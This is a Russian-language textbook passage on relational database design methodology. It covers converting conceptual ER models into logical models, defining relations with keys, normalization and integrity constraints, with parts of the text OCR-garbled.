Представление пользователя объединяет данные, необходимые конкретному пользователю для принятия решения или выполнения некоторого задания. Как правило, представление пользователя связано с определенной функциональной областью деятельности предприятия — например, с производством продукции, маркетингом, сбытом, управлением кадрами, бухгалтерским учетом или управлением складскими запасами. Каждый конкретный тип пользователя может представлять отдельного работника или некоторую группу работников, которые будут непосредственно использовать создаваемое приложение.
Представление пользователя может быть построено в виде диаграмм потоков данных, определяющих функциональные области и, возможно, индивидуальные функции. Кроме того, необходимая информация может быть получена с помощью опросов отдельных пользователей, изучения особенностей выполняемых процедур, структуры генерируемых отчетов, состава используемых форм и/или проведения обследования функционирования предприятия.
Каждая локальная концептуальная модель данных должна включать сведения о типах сущностей и связей, атрибутах, доменах атрибутов, потенциальных и первичных ключах.
Каждая локальная концептуальная модель данных должна дополняться соответствующим комплектом документации (включая словарь данных), созданной в процессе разработки данной модели.
Вопросы
Укажите общее назначение предлагаемой методологии проектирования.
Назовите основные фазы процесса проектирования базы данных.
Укажите важнейшие факторы успешного завершения процесса разработки базы данных.
Опишите роль, которую конечные пользователи должны играть в процессе проектирования базы данных.
Назовите основную цель фазы концептуального проектирования базы данных.
Объясните смысл понятия “представление пользователя” и укажите источники информации, которые могут использоваться при создании этих представлений.
Назовите основные задачи, решаемые на этапе концептуального проектирования.
Опишите назначение процедур генерализации и специализации типов сущностей и поясните, почему этот этап является необязательным при проектировании концептуальной модели данных.
Укажите состав документации и объясните назначение отдельных типов документов, создаваемых в процессе концептуального проектирования базы данных.
ГЛАВА
:y?<^^N
Методология логич^^^Ц|
проектирования
-ЖХ
Ж
IS
реляционных баз дан®
Х^®
Преобразованиемконцептуальной модели в ло-
;^- жа|^модель данных.* X ^^’
Д;<^^на основе логической м^ей$^6в|
* ;£ ^;
&Ш&Ш
&Ш
&Ш
Проверка логическои модели данных с использованием йет& j дов нормализации и контроль возможности выполнения необходимых транзакций.г
Слияние локальных логических моделей данных, отражают ^ д щих представления отдельных пользователей, в единую. ^\тглобви!ьную.^^^^аннь^^ф(тр^а»го^
Проверка создй&р^ глобальйЬД.мбде^й наэд^и?;' ;
точность о^р^рн^предкй^ЙоЙ^б^а^пй;'приложения ,-и моделщ^мрй&с^^
В этой главе, а также в главе 11, “Пример разработки логического проекта базы данных”, мы обсудим и продемонстрируем на конкретном примере методологию создания логической модели реляционной базы данных.
Отправным пунктом проводимого в этой главе обсуждения является созданный на первом этапе предлагаемой методологии проектирования набор локальных концептуальных моделей данных и соответствующей документации. Отдельные модели данных отражают представления о предметной области приложения различных типов его пользователей. Создание этих локальных моделей и необходимой сопроводительной документации описывалось в главе 7, “Методология концептуального проектирования баз данных”. Для построения локальных концептуальных моделей данных использовалась ER-технология моделирования, описанная в главе 5, “Модель ’’сущность-связь””.
В этой главе вашему вниманию предлагается поэтапная методология логического проектирования баз данных реляционного типа. Процедура проектирования начинается с преобразования локальных концептуальных моделей данных в локальные логические модели данных, которые впоследствии будут использованы для определения требуемого набора отношений. Построенные логические модели и созданный набор отношений проверяются с помощью методов нормализации, описанных в главе 6, “Нормализация”. Дополнительно проверяется возможность выполнения всех необходимых пользователям транзакций. На последнем этапе этой фазе проектирования отдельные локальные концептуальные модели данных сливаются в единую глобальную модель данных всего предприятия, отражающую обобщенное представление всех пользователей о предметной области приложения.
В главе 11, “Пример разработки логического проекта базы данных”, использование предлагаемой методологии логического проектирования баз данных будет продемонстрировано на примере приложения DreamHome (раздел 1.7). Обсуждение предлагаемой методологии будет продолжено в главе 9, “Методология физического проектирования реляционных баз данных”, содержащей детальное описание всех этапов процедуры физического проектирования баз данных реляционного типа. В приложении Е приводится обобщенное формальное описание методологии разработки баз данных, предназначенное для тех читателей, которые уже хорошо знакомы с теорией и нуждаются лишь в общем обзоре основных этапов проектирования.
Во всех главах, в которых обсуждается данная методология, мы будем использовать термины “сущность” и “связь” вместо развернутых терминов “тип сущности” и “тип связи”. Слово “тип” будет применяться только с целью исключения возможной неоднозначности. Кроме того, отметим, что в этой главе для иллюстрации отдельных этапов проектирования также будет использоваться материал приложения DreamHome. Однако эти примеры обычно являются упрощенными и предназначены лишь для демонстрации отдельных аспектов обсуждаемого материала.
Методы логического проектирования баз данных реляционного типа
В предлагаемой методологии проектирования баз данных весь процесс разработки разделяется на три основные фазы: концептуальное, логическое и физическое проектирование. В этой главе мы обсудим этапы фазы логического проектирования баз данных.
Логическое Процесс конструирования общей информационной модели проектирование предприятия на основе отдельных моделей данных пользовате- баз данных лей, которая является независимой от особенностей реально используемой СУБД и других физических условий.
В этом разделе описываются следующие определяемые рассматриваемой методологией этапы логического проектирования баз данных.
Этап 2. Построение и проверка локальной логической модели данных для отдельных представлений каждого из типов пользователей.
Этап 3. Создание и проверка глобальной логической модели данных.
Этап 2. Построение и проверка локальной логической модели данных для отдельных представлений каждого из типов пользователей
Цель Построение логической модели данных на основе концептуальной модели данных, отражающей представление отдельного пользователя о предметной области приложения, и проверка полученной модели с помощью методов нормализации и контроля выполнения транзакций.
На этом этапе мы продолжим работу с локальными концептуальными моделями данных, созданными на предыдущем этапе. Наша задача состоит в доработке этих моделей с целью удаления из них всех элементов, затрудняющих реализацию данных моделей в среде реляционных СУБД. В результате выполнения этих действий структуры концептуальных моделей данных будут изменены таким образом, чтобы полностью отвечать требованиям, выдвигаемым реляционной моделью организации баз данных. Поэтому новые модели более корректно называть логическими моделями данных. Далее созданные логические модели данных будут проверены с использованием правил нормализации и подвергнуты контролю на возможность выполнения всех необходимых пользователям транзакций так, как это указано в спецификациях на создаваемое приложение. Впоследствии проверенные логические модели данных можно будет использовать как прототипы, если это потребуется.
В результате выполнения данного этапа будут созданы корректные, полные и точные модели представлений пользователей. Это даст нам прочную основу, необходимую для выполненияследующего этапа, заключающегося в объединении отдельных локальных логических моделей данных в единую глобальную модель данных всего предприятия.
Данный этап включает следующее.
Этап 2.1. Преобразование локальной концептуальной модели данных в локальную логическую модель.
Этап 2.2. Определение набора отношений исходя из структуры локальной логической модели данных.
Этап 2.3. Проверка модели с помощью правил нормализации.
Этап 2.4. Проверка модели в отношении транзакций пользователей.
Этап 2.5. Создание диаграмм “сущность-связь”.
Этап 2.6. Определение требований поддержки целостности данных.
Этап 2.7. Обсуждение разработанных локальных логических моделей данных с конечными пользователями.
Этап 2.1. Преобразование локальной концептуальной модели данных в локальную логическую модель
Цель Доработка локальных концептуальных моделей с целью удаления из них нежелательных элементов и преобразование полученных моделей в локальные логические модели данных.
' В результате выполнения первого этапа мы получим набор локальных концептуальных моделей данных, отражающих представление отдельных пользователей о работе предприятия. Однако эти модели данных могут содержать некоторые структуры
данных, реализация которых в обычных типах СУБД будет затруднена. На этом этапе подобные структуры данных преобразуются в такую форму, которая не вызовет затруднений при их реализации в среде существующих СУБД. Может последовать замечание, что эти действия не являются элементом логического проектирования баз данных. Однако предлагаемая процедура заставляет разработчика более тщательно обдумывать смысл каждого элемента данных, что положительно сказывается на точности отображения в модели особенностей того или иного предприятия.
На данном этапе выполняются следующие действия.
Удаление связей типа M:N.
Удаление сложных связей.
Удаление рекурсивных связей.
Удаление связей с атрибутами.
Удаление множественных атрибутов.
Перепроверка связей типа 1:1.
Удаление избыточных связей.
Удаление связей типа M:N
Если в концептуальной модели присутствуют связи типа M:N (“многие ко многим”), то их следует устранить путем определения некоторой промежуточной сущности (см. раздел 5.2.1). Связь типа M:N заменяется двумя связями типа 1:М, устанавливаемыми со вновь созданной сущностью. В качестве примера рассмотрим связь типа M:N Newspaper Advertises Property (Газета печатает объявления об объектах, сдаваемых в аренду), представленную на рис. 8.1, а. С целью устранения связи Advertises мы определяем промежуточную сущность Advert и создаем две новых связи типа 1:М (Lists и Advertisedln). В результате связь Advertises типа M:N будет заменена двумя связями — Newspaper Lists Advert и Property Advertisedln Advert (как показано на рис. 8.1, б).
(а)(а)Рис. 8.1: а) связь Newspaper Advertises Property типа M:N; б) устранение связи Advertises типа M:N посредством замены ее двумя связями типа 1:М fLists и Advertisedln) и новой сущностью AdvertРис. 8.1: а) связь Newspaper Advertises Property типа M:N; б) устранение связи Advertises типа M:N посредством замены ее двумя связями типа 1:М fLists и Advertisedln) и новой сущностью Advert
(а)
(а)
Рис. 8.1: а) связь Newspaper Advertises Property типа M:N; б) устранение связи Advertises типа M:N посредством замены ее двумя связями типа 1:М fLists и Advertisedln) и новой сущностью Advert
Рис. 8.1: а) связь Newspaper Advertises Property типа M:N; б) устранение связи Advertises типа M:N посредством замены ее двумя связями типа 1:М fLists и Advertisedln) и новой сущностью Advert
Обратите внимание: сущность Advert показана как слабая сущность, поскольку ее существование зависит от сущностей-владельцев, а именно от сущностей Newspaper и Property.
Удаление сложных связей
Сложной называется связь, существующая между тремя и больше типами сущностей (см. раздел 5.1.3). Если в концептуальной модели присутствует сложная связь, ее следует устранить с помощью промежуточной сущности. Сложная связь заменяется необходимым количеством бинарных связей типа 1:М, устанавливаемых со вновь созданной сущностью. Например, тройная связь Leases (Сдает внаем), отражает отношения, существующие между оформляющим аренду работником компании, земельным участком и арендатором — как показано на рис. 8.2, а. Эту сложную связь можно упростить путем введения новой сущности и определения бинарных связей между нею и каждой из исходных сущностей сложной связи. В нашем примере связь Leases можно устранить посредством введения новой слабой сущности с именем Lease_Agreement. Вновь созданная сущность будет связана с исходными сущностями тремя новыми бинарными связями: Staff Organizes Lease_Agreement, Property Associat- edWith Lease_Agreement и Renter Holds Lease_Agrcement — как показано на рис. 8.2, б.
Рис. 8.2: а) сложная связь Leases; б) устранение сложной связи Leases с помощью трех связей типа 1;М (Organizes, Associated- With, Holds) и сущности Lease^Agreement
Рис. 8.3: а) рекурсивная связь Staff Supervises Staff: б) устранение рекурсивной связи Supervises с помощью создания дополнительной связи SupervisedBy и сущности с именем Allocated_StaffРис. 8.3: а) рекурсивная связь Staff Supervises Staff: б) устранение рекурсивной связи Supervises с помощью создания дополнительной связи SupervisedBy и сущности с именем Allocated_Staff
Рис. 8.3: а) рекурсивная связь Staff Supervises Staff: б) устранение рекурсивной связи Supervises с помощью создания дополнительной связи SupervisedBy и сущности с именем Allocated_Staff
Рис. 8.3: а) рекурсивная связь Staff Supervises Staff: б) устранение рекурсивной связи Supervises с помощью создания дополнительной связи SupervisedBy и сущности с именем Allocated_Staff
Удаление рекурсивных связей
Рекурсивными называются такие связи, в которых сущность некоторого типа взаимодействует сама с собой (см. раздел 5.1.3). Если концептуальная модель содержит рекурсивные связи, они должны быть устранены посредством определения некоторой промежуточной сущности. Например, для отображения ситуации, когда один из работников руководит группой других работников, может быть установлена рекурсивная связь типа “один ко многим” (1:М) Staff Supervises Staff — как показано на рис. 8.3, а.
Рекурсивная природа этой связи требует особого подхода при работе с ней как на этапе логического проектирования, так и на этапе физической реализации базы данных. Для упрощения данной рекурсивной связи типа 1:М мы заменим ее вновь созданной слабой сущностью Allocated_Staff и дополнительной связью типа 1:1 с именем SupervisedBy — как показано на рис. 8.3, б.
(а)
Удаление рекурсивной связи типа M:N выполняется так же, как и бинарных связей типа M:N, описанных выше.
Удаление связей с атрибутами
Если в концептуальной модели присутствуют связи, имеющие собственные атрибуты, они должны быть преобразованы путем создания новой сущности (см. раздел 5.1.4). Например, рассмотрим ситуацию, когда требуется фиксировать количество рабочих часов, отработанных временным персоналом каждого из отделений предприятия (рис. 8.4, а). Связь Staff WorksAt Branch имеет атрибут с именем Hours^Worked (Отработано часов). Преобразуем связь WorksAt в слабую сущность с именем Branch_Allocation, которой назначим атрибут Hours Worked, после чего создадим две новых связи типа 1:М, как показано на рис. 8.4, б.
Рис. 8.4: a) связь WorksAt имеет атрибут Hours Worked; б) устранение связи WorksAt с помощью создания сущности Branch_Allocation и двух связей типа 1:М fAssignedTo и Requires)
Удаление множественных атрибутов
Множественными называют атрибуты, которые могут иметь одновременно несколько значений для одного и того же экземпляра сущности (см. раздел 5.1.2). Если в концептуальной модели присутствует множественный атрибут, его следует преобразовать путем определения новой сущности. Например, для отображения ситуации, когда одно и то же отделение компании имеет несколько телефонных номеров, в концептуальной модели был определен множественный атрибут Tel_No, относящийся к сущности Branch — как показано на рис. 8.5, а. Этот множественный атрибут следует удалить, определив новую сущность Telephone, имеющую единственный простой атрибут Tel_No, и создав новую связь типа 1:М с именем Has (рис. 8.5, б).
Перепроверка связей типа 1:1
В процессе определения сущностей могли быть созданы две различные сущности, которые на самом деле представляют один и тот же объект в предметной области приложения. Например, могли быть созданы две сущности, Branch и Department, которые на самом деле представляют один и тот же тип объекта. Другими словами, имя Branch является синонимом имени Department. В подобном случае следует объединить эти две сущности в одну. Если первичные ключи объединяемых сущностей различны, выберите один из них в качестве первичного, а другой укажите как альтернативный ключ.
Рис. 8.5: а) сущность Branch имеет множественный атрибут Tel_No; б) устранение множественного атрибута Teljto с помощью связи Has типа 1:М и новой сущности Telephone с простым атрибутом Tel_No
Удаление избыточных связей
Связь является избыточной, если одна и та же информация может быть получена не только через нее, но и с помощью другой связи. Всегда следует стремиться создавать минимальные модели данных, и поэтому, если избыточная связь не является очевидно необходимой, ее следует удалять. Установить, что между двумя сущностями имеется больше одной связи, довольно просто. Однако из этого еще не следует, что одна из двух связей обязательно является избыточной, поскольку обе они могут представлять различные объединения, реально существующие в организации.
При устранении избыточности доступа большое значение имеют временные показатели. Например, рассмотрим ситуацию, когда необходимо смоделировать связи между сущностями Мап (Мужчина), Woman (Женщина ) и Child (Ребенок), как показано на рис. 8.6. Очевидно, что между сущностями Мап и Child имеется два пути доступа: один — через непосредственную связь FatherOf (Является отцом) и другой — через связи MarriedTo (Женат на) и MotherOf (Является матерью). На первый взгляд кажется, что связь FatherOf является избыточной. Однако это утверждение может оказаться ошибочным по двум причинам. Во-первых, отец может иметь детей от предыдущего брака, а мы моделируем только текущий брак отца (через связь 1:1). Во- вторых, отец и мать могут быть вообще неженаты, или отец может быть женат на женщине, которая не является матерью данного ребенка (или же мать может быть замужем за мужчиной, который не является отцом ребенка). Поэтому все существующие взаимоотношения не могут быть смоделированы без использования связи типа FatherOf.
Суть состоит в том, что при устранении избыточности очень важно исследовать значение каждой из связей, существующих между сущностями.
По завершении данного этапа мы получили упрощенную локальную концептуальную модель данных, из которой удалены все структуры, реализация которых в среде реляционных СУБД затруднительна.
Поэтому на данном этапе правильнее будет называть улучшенную локальную концептуальную модель локальной логической моделью данных.
Рис. 8.6. Пример множественных связей, не являющихся избыточными
Этап 2.2. Определение набора отношений исходя из структуры локальной логической модели данных
Цель Определение набора отношений на основе локальной логической модели данных.
На данном этапе нам предстоит на основе созданных локальных логических моделей данных определить наборы отношений, необходимые для представления сущностей и связей, входящих в представления отдельных пользователей о предметной области приложения.
Для описания структуры создаваемых отношений мы воспользуемся языком DBDL (Database Definition Language), широко используемым в реляционных СУБД. Описание отношения на языке DBDL начинается с присвоенного ему имени, за которым следует помещенный в скобки список имен его простых полей. Затем указывается первичный ключ отношения и все его альтернативные и/или внешние ключи. После описания внешних ключей может указываться ссылочный первичный ключ, если таковой имеется.
Теперь мы рассмотрим, как отношения, отражающие сущности и связи между ними, могут быть созданы исходя из имеющихся в логической модели различных допустимых структур данных. Для иллюстрации этого процесса будет использоваться логическая модель, показанная на рис. 8.7.
Связи, которые сущность имеет с другими типами сущностей, представляются с помощью механизма первичных и внешних ключей. Для принятия решения о том, откуда взять и куда поместить значения атрибута(ов) внешнего ключа, предварительно следует установить, какая из участвующих в связи сущностей является родительской, а какая — дочерней. Родительской считается сущность, которая передает копию набора значений своего первичного ключа в отношение, представляющее дочернюю сущность, где эти значения будут играть роль внешнего ключа.
Сильные типы сущностей
Для каждой сильной (регулярной) сущности в локальной модели данных создается отношение, включающее все простые атрибуты этой сущности. В случае составных атрибутов (например, адреса) в отношение включаются только составляющие их простые атрибуты (такие, как улица, город, почтовый код). Ниже приведен пример состава отношения Staff, определенного для логической модели, показанной на рис. 8.7.
Staff (Staff_No, FName, LName, Street, City, Postcode, Position, Sex, Salary) Primary Key Staff Jto
Рис. 8.7. Пример логической модели данных
Слабые типы сущностей
Для каждой слабой сущности, присутствующей в логической модели, создается отношение, включающее все простые атрибуты этой сущности. Дополнительно в отношение включается атрибут внешнего ключа, соответствующего первичному ключу сущности-владельца. Первичный ключ слабой сущности частично или полностью выводится из ключа сущности-владельца. Например, показанная на рис. 8.7 сущность Staff является владельцем слабой сущности Next_of_Kin. Описание представляющего эту сущность отношения приведено ниже.
Next_of_Kin (Staffjfo, NName, Address, Tel_No, Relationship)
Primary Key Staff_No, NName
Foreign Key Staff_No references Staff(StaffJfo)
Обратите внимание на то, что атрибут внешнего ключа отношения Next^of^Kin входит в состав первичного ключа этой сущности. В данной ситуации первичный ключ отношения Next_of_Kin невозможно установить до тех пор, пока в нее не будет помещен внешний ключ, выбранный в отношении Staff. Таким образом, к концу данного этапа мы должны определить любые первичные и потенциальные ключи, которые могут потребоваться для построения набора отношений, необходимого для полного представления исходной логической модели данных.
Бинарные связи типа „один к одному" (1:1)
Для каждой присутствующей в логической модели данных бинарной связи типа 1:1, установленной между сущностями Е1 и Е2, мы должны переслать атрибуты первичного ключа сущности Е1 в отношение, представляющее сущность Е2. Эти атрибуты будут использоваться в нем в качестве внешнего ключа. Определение родительской и
дочерней сущностей зависит от ограничений участия, наложенных на члены отношения Е1 и Е2 (см. раздел 5.2.2). Сущность, которая частично участвует в связи, определяется как родительская, а та сущность, которая участвует в связи полностью (тотально), определяется как дочерняя. Как уже указывалось выше, копия набора значений первичного ключа родительской сущности помещается в отношение, представляющее дочернюю сущность. Отметим, что в том случае, когда оба вида сущностей участвуют в связи типа 1:1 либо тотально, либо частично, выбор родительской и дочерней сущностей может выполняться произвольно. Более того, если обе сущности участвуют в связи тотально, можно (на выбор) либо представить эту связь с помощью пары первичного и внешнего ключей (как описывалось выше), либо слить атрибуты обеих сущностей в единое отношение. Слияние в единое отношение предпочтительнее в том случае, если данные сущности не принимают участия в других типах связей. Ниже приведен пример, иллюстрирующий, как связь типа 1:1 можно представить в отношениях, созданных на базе предложенной выше логической модели данных.
Связь Staff Manages Branch, показанная на рис. 8.7, является связью типа 1:1» поскольку каждым из отделений компании руководит единственный член персонала. Сущность Staff участвует в этой связи частично, тогда как сущность Branch — полностью. Та сущность, которая участвует в связи частично (Staff), определяется как родительская, а та сущность, которая участвует в связи полностью (Branch), — как дочерняя. Следовательно, копия первичного ключа сущности Staff (родительской), представленного атрибутом Staff_No, пересылается в отношение Branch (дочернее). В результате отношения Staff и Branch должны быть определены следующим образом:
Staff (Staff_Nof FName, LName, Street, City, Postcode, Position, Sex, Salary) Primary Key Staff_No
Branch (Branch-No, Address, Teljto, Fax_No, Managers taff_NO)
Primary Key Branch_No~~--
Alternate Key Tel_No or FaX-No
Foreign Key Manager_Staff_NO references Staff (Staff_No)
Обратите внимание на то, что атрибут Staff_No, представляющий руководителя отделения, был переименован в Manager_Staf f_No. Это сделано с целью более точно указать назначение данного внншнего ключа отношения Branch.
Бинарные связи типа „один ко многим" (1 :М)
Для каждой бинарной связи типа 1:М, установленной в логической модели данных между сущностями Е1 и Е2, необходимо переслать копию атрибутов первичного ключа сущности Е1 в отношение, представляющее сущность Е2, где они будут играть роль внешнего ключа. Сущность, представляющая “единичную” сторону связи определяется как родительская, а сущность, представляющая “множественную” сторону, — как дочерняя. Как и в предыдущем случае, для представления данной связи необходимо скопировать первичный ключ родительской сущности в отношение, представляющее дочернюю сущность, где этот ключ должен быть описан как внешний. Ниже приведен пример, иллюстрирующий, как связь типа 1:М можно представить в отношениях, созданных на базе предложенной выше логической модели данных.
Связь Branch Has Staff, показанная на рис. 8.7, имеет тип 1:М, поскольку в каждом отделении работает несколько человек. В этом случае отношение Branch является “единичной” стороной связи и представляет родительскую сущность, тогда как отношение Staff является “множественной” стороной связи и представляет дочернюю сущность. Связь между этими двумя сущностями устанавливается путем помещения копии первичного ключа сущности Branch (родительской), представленного атрибутом Branch-No, в отношение Staff (дочернее). В результате окончательный вид отношений Staff и Branch должен быть следующим:
Staff (Staff_No, FName, LName, Street, City, Postcode, Position, Sex, Salary, Branch-No)
Primary Key Staff No
Foreign Key Branch_No references Branch(Branch_No)
Branch (Branch_No, Address, Tel-No, Fax_No, Manager_Staff_NO)
Primary Key Branch-No~
Alternate Key Tel_No or Fax_No
Foreign Key Manager_Staff-NO references Staff(Staff_No)
Связи типа „суперкласс/подкласс"
Для каждой присутствующей в логической модели данных связи типа “суперкласс/подкласс” сущность суперкласса необходимо определить как родительскую, а сущность подкласса — как дочернюю. Существуют различные варианты представления подобных связей в виде одного или нескольких отношений. Выбор наиболее подходящего варианта зависит от ограничений участия и пересечения, наложенных на участников связи типа “суперкласс/подкласс” (см. раздел 5.4.5).
Рассмотрим, наприМер, связь типа “суперкласс/подкласс” сущности Property, показанную на рис. 7.1, б. Существуют различные способы отображения этой связи.
(Вариант 1)
All_Property (Property-No, Address, Type, Rent, Price)
Primary Key Property-No
(Вариант 2)
Propertyfor_Rent (Property-No, Address, Type, Rent)
Primary Key Property-No
Property_for_Sale (Property_No, Address, Type, Price)
Primary Key Property_No
(Вариант 3)
Property (Property_No, Address, Type)
Primary Key Property No
Property_for_Rent (Property_No, Rent)
Primary Key Property_No
Foreign Key Proper ty_No references Property (Property No)
Property_for_Sale (Property_No, Price)
Primary Key Property_No
Foreign Key Property_No references Property (Property-No)
Диапазон возможных вариантов решений простирается от помещения всех атрибутов суперкласса в единственное отношение (вариант 1) до распределения всех атрибутов между тремя различными отношениями (вариант 3). Наиболее подходящий вариант для каждой связи типа “суперкласс/подкласс” определяется ограничениями, специфическими для данной конкретной связи. Связи, которые суперкласс Property имеет с его подклассами, являются тотальными и непересекающимися, поскольку каждый член суперкласса Property обязательно должен быть членом одного и только одного из подклассов (Property-for-Sale или Property_for_Rent). Поэтому самым целесообразным решением для связи типа “суперкласс/подкласс” с тотальными и непересекающимися членами является представление каждого из подклассов в виде отдельного отношения, содержащего копию первичного ключа суперкласса. Это второй вариант в приведенном выше примере. Однако на окончательное решение могут оказать влияние и другие факторы — в частности то, включены или нет отдельные подклассы в различные связи.
Документирование созданных отношений и атрибутов внешних ключей
Документирование состава отношений, созданных на базе каждой из логических моделей данных, осуществляется на языке DBDL. Отметим, что синтаксис языка DBDL может быть расширен с целью указания ограничений целостности для внешних ключей (этап 2.6). Кроме того, следует обновить содержимое словаря данных для отображения сведений о любых новых ключевых атрибутах, определенных на данном этапе.
Этап 2.3. Проверка модели с помощью правил нормализации
Цель Проверка локальной логической модели данных с использованием технологии нормализации.
Процедуры нормализации достаточно подробно были рассмотрены в главе 6, “Нормализация”. Нормализация используется для улучшения модели данных, для того чтобы она удовлетворяла различным ограничениям, позволяющим исключить нежелательное дублирование данных. Нормализация гарантирует, что полученная в результате ее применения модель данных будет наилучшим образом отображать особенности использования информации на предприятии, не содержать противоречий, иметь минимальную избыточность и максимальную устойчивость.
Нормализация представляет собой процедуру принятия решений о том, какие именно атрибуты должны быть объединены для представления сущностей каждого типа. В одной из фундаментальных концепций теории нормализации утверждается, что атрибуты должны быть сгруппированы в отношения в соответствии с существующими между ними логическими связями. В некоторых случаях имеют место утверждения, что нормализация разрабатываемых баз данных не позволяет достичь максимальной производительности при их обработке. На это можно ответить следующими замечаниями.
Нормализация проекта позволяет организовать размещение данных в соответствии с их функциональными зависимостями. Поэтому данная процедура должна выполняться между этапами концептуального и физического проектирования.
На этапе логического проектирования не ставится задача достичь окончательного вида проекта. Цель Этого этапа заключается в предоставлении проектировщику более углубленного понимания природы и назначения данных, используемых на предприятии. Если к приложению предъявляются специфические требования в отношении его производительности, то они должны учитываться на этапе физического проектирования. В этом случае одним из подходов является денормализация определенных таблиц. Однако это не означает, что время на их нормализацию было затрачено впустую, поскольку для правильного выполнения нормализации проектировщик должен глубоко изучить семантику и особенности использования данных. Подробнее о денормализации речь пойдет в главе 9, “Методология физического проектирования реляционных баз данных” (этап 5.4).
Нормализация проекта позволяет повысить его устойчивость и избавиться от аномалий обновления, обсуждавшихся в главе 6, “Нормализация”.
За последних несколько лет мощность компьютеров существенно возросла. Поэтому в некоторых случаях может быть вполне обоснованным решение реализовать проект, позволяющий упростить работу с данными за счет выполнения некоторого объема дополнительной обработки.
Выполнение нормализации требует от разработчика полного понимания назначения каждого атрибута, присутствующего в создаваемой базе данных. Достигнутые за счет этого преимущества могут оказаться весьма существенными.
В результате применения нормализации разработчик получает весьма гибкий проект базы данных, позволяющий легко вносить в нее необходимые расширения.
На предыдущем этапе был создан набор отношений, реализующих локальные логические модели данных. На этом этапе мы проанализируем корректность объединения атрибутов в каждом из отношений. Другими словами, наша задача состоит в проверке корректности состава каждого из созданных отношений посредством применения к ним процедуры нормализации. Процесс нормализации включает следующих четыре основных этапа:
приведение к первой нормальной форме (1НФ), позволяющее удалить из отношений повторяющиеся группы атрибутов;
приведение ко второй нормальной форме (2НФ), позволяющее устранить частичную зависимость атрибутов от первичного ключа;
приведение к третьей нормальной форме (ЗНФ), позволяющее устранить транзитивную зависимость атрибутов от первичного ключа;
приведение к нормальной форме Бойса-Кодда (НФБК), позволяющее удалить из функциональных зависимостей оставшиеся аномалии.
Целью выполнения этих этапов является получение гарантий того, что каждое из отношений, созданных н^ основании логической модели данных, отвечает, по крайней мере, требованиям НФБК. Если будут найдены отношения, не отвечающие требованиям НФБК, это может указывать на то, что часть логической модели данных неверна либо преобразование логической модели в набор отношений выполнено некорректно. При необходимости потребуется перестроить модель данных и убедиться, что она верно отображает моделируемую часть информационной структуры предприятия.
Этап 2.4. Проверка модели в отношении транзакций пользователей
Цель
Убедиться в том, что локальная логическая модель данных позволяет вы-
полнить все зователя.
транзакции, предусмотренные данным представлением поль-
Целью выполнения данного этапа является проверка локальной логической модели данных на возможность выполнения всех транзакций, предусмотренных данным представлением пользователя. Перечень транзакций определяется в соответствии со спецификациями, описывающими действия, выполняемые данным пользователем. Используя ER-диаграммы, словарь данных и установленные связи между первичными и внешними ключами, указанные в описании отношений, мы попытаемся выполнить все необходимые операции доступа к данным вручную. Если нам удастся подобным образом найти способ выполнения всех требуемых транзакций, то на этом проверка логической модели данных будет завершена. Однако, если какую-либо из транзакций выполнить вручную не удастся, значит, составленная модель данных является неадекватной и содержит ошибки, которые потребуется устранить. Вероятнее всего, ошибка будет связана с пропуском в модели данных сущности, связи или атрибута.
Рассмотрим два возможных подхода, благодаря которым мы сможем убедиться, что локальная логическая модель данных позволяет выполнить все необходимые транзакции. Первый подход предусматривает выполнение проверки того, что данная логическая модель предоставляет всю информацию (сущности, связи и их атрибуты), необходимую для выполнения каждой из транзакций. Практически это реализуется при подготовке описания требований, выдвигаемых каждой из транзакций.
Например, транзакции, необходимые руководителю каждого из отделений предприятия, могут включать следующие операции:
ввод сведений о новом сотруднике.
Первичным ключом отношения Staff является атрибут Staff_No. Прежде всего убедимся, что присвоенный новому сотруднику личный номер является уникальным. Если это не так, ввод данных следует запретить, а и выполнение
операции завершить. В противном случае ввод данных о новом сотруднике разрешается. Проверьте, что для каждого элемента сведений о сотруднике в отношении Staff имеется соответствующий атрибут;
удаление сведений о сотруднике, заданном его личным номером.
Выполняется поиск заданного личного номера в соответствующем столбце отношения Staff. Если он не будет найден, то фиксируется ошибка и никакие дальнейшие действия не выполняются. В противном случае из отношения Staff удаляется весь найденный кортеж и обновляется внешний ключ всех кортежей отношения Property, с которыми был связан “удаляемый” работник.
Второй подход к проверке модели данных на соответствие требуемым транзакциям заключается в нанесении непосредственно на ER-диаграммы всех путей, которые потребуются для выполнения каждой из транзакций. Простой пример использования этого подхода для контроля за выполнением упомянутых выше транзакций (а и Ь) показан на рис. 8.8.
Рис. 8.8. Представление транзакций (а и
Ь) на ER-диаграмме
Этот подход позволяет визуально выделить те области модели, которые не используются для выполнения транзакций, а также те области, которые наиболее существенны с точки зрения выполнения транзакций. В нашем распоряжении оказывается удобное средство прямого анализа поддержки, которую модель данных обеспечивает для выполнения необходимых транзакций пользователя. Если на диаграмме имеются области, которые не используются ни в одной из транзакций, возникает вопрос о целесообразности представления этой информации в модели данных. В то же время, если в модели присутствуют области, которые не позволяют найти подходящий метод выполнения некоторой транзакции, потребуется провести анализ того, какая из обязательных для выполнения транзакции сущностей или связей была пропущена при составлении модели.
Этап 2.5. Создание диаграмм „сущность-связь"
Цель Создание окончательного варианта диаграмм “сущность-связь” (ER- диаграмм), являющихся локальным логическим представлением данных, используемых отдельными пользователями приложения.
Теперь все готово для того, чтобы создать окончательные варианты ER-диаграмм для отдельных представлений каждого из пользователей предприятия. Данные на этих диаграммах были проверены с применением методов нормализации, а также проконтролированы на предмет возможности выполнения всех требуемых транзакций.
Этап 2.6. Определение требований поддержки целостности данных
Цель Определение ограничений, налагаемых в представлениях пользователей требованием сохранения целостности данных.
Ограничения целостности данных представляют собой такие ограничения, которые вводятся с целью предотвратить помещение в базу противоречивых данных. Отметим, что, хотя в конкретных СУБД функции контроля целостности могут как поддерживаться, так и не поддерживаться, в данном случае это не будет нас интересовать. На этом этапе мы занимаемся проектированием только на верхнем уровне, где рассмотрение вопросов целостности данных является обязательным условием, не связанным с конкретными аспектами реализации. Полное и точное отражение представления пользователя мы сможем получить только после определения ограничений, необходимых с точки зрения сохранения целостности данных. При необходимости на основе локальной логической модели можно даже создать предварительный физический проект базы данных, который впоследствии может послужить прототипом системы для данного конкретного пользователя.
Здесь мы обсудим пять типов ограничений целостности данных:
обязательные данные;
ограничения для доменов атрибутов;
целостность сущностей;
ссылочная целостность;
требования данного предприятия.
Обязательные данные
Некоторые атрибуты всегда должны содержать одно из допустимых значений. Другими словами, эти атрибуты не могут иметь пустого значения. Так, каждый работник должен занимать ту или иную должность (например, “руководителя” или “референта”).
Эти ограничения должны фиксироваться при занесении сведений об атрибуте в словарь данных (этап 1.3).
Ограничения для доменов атрибутов
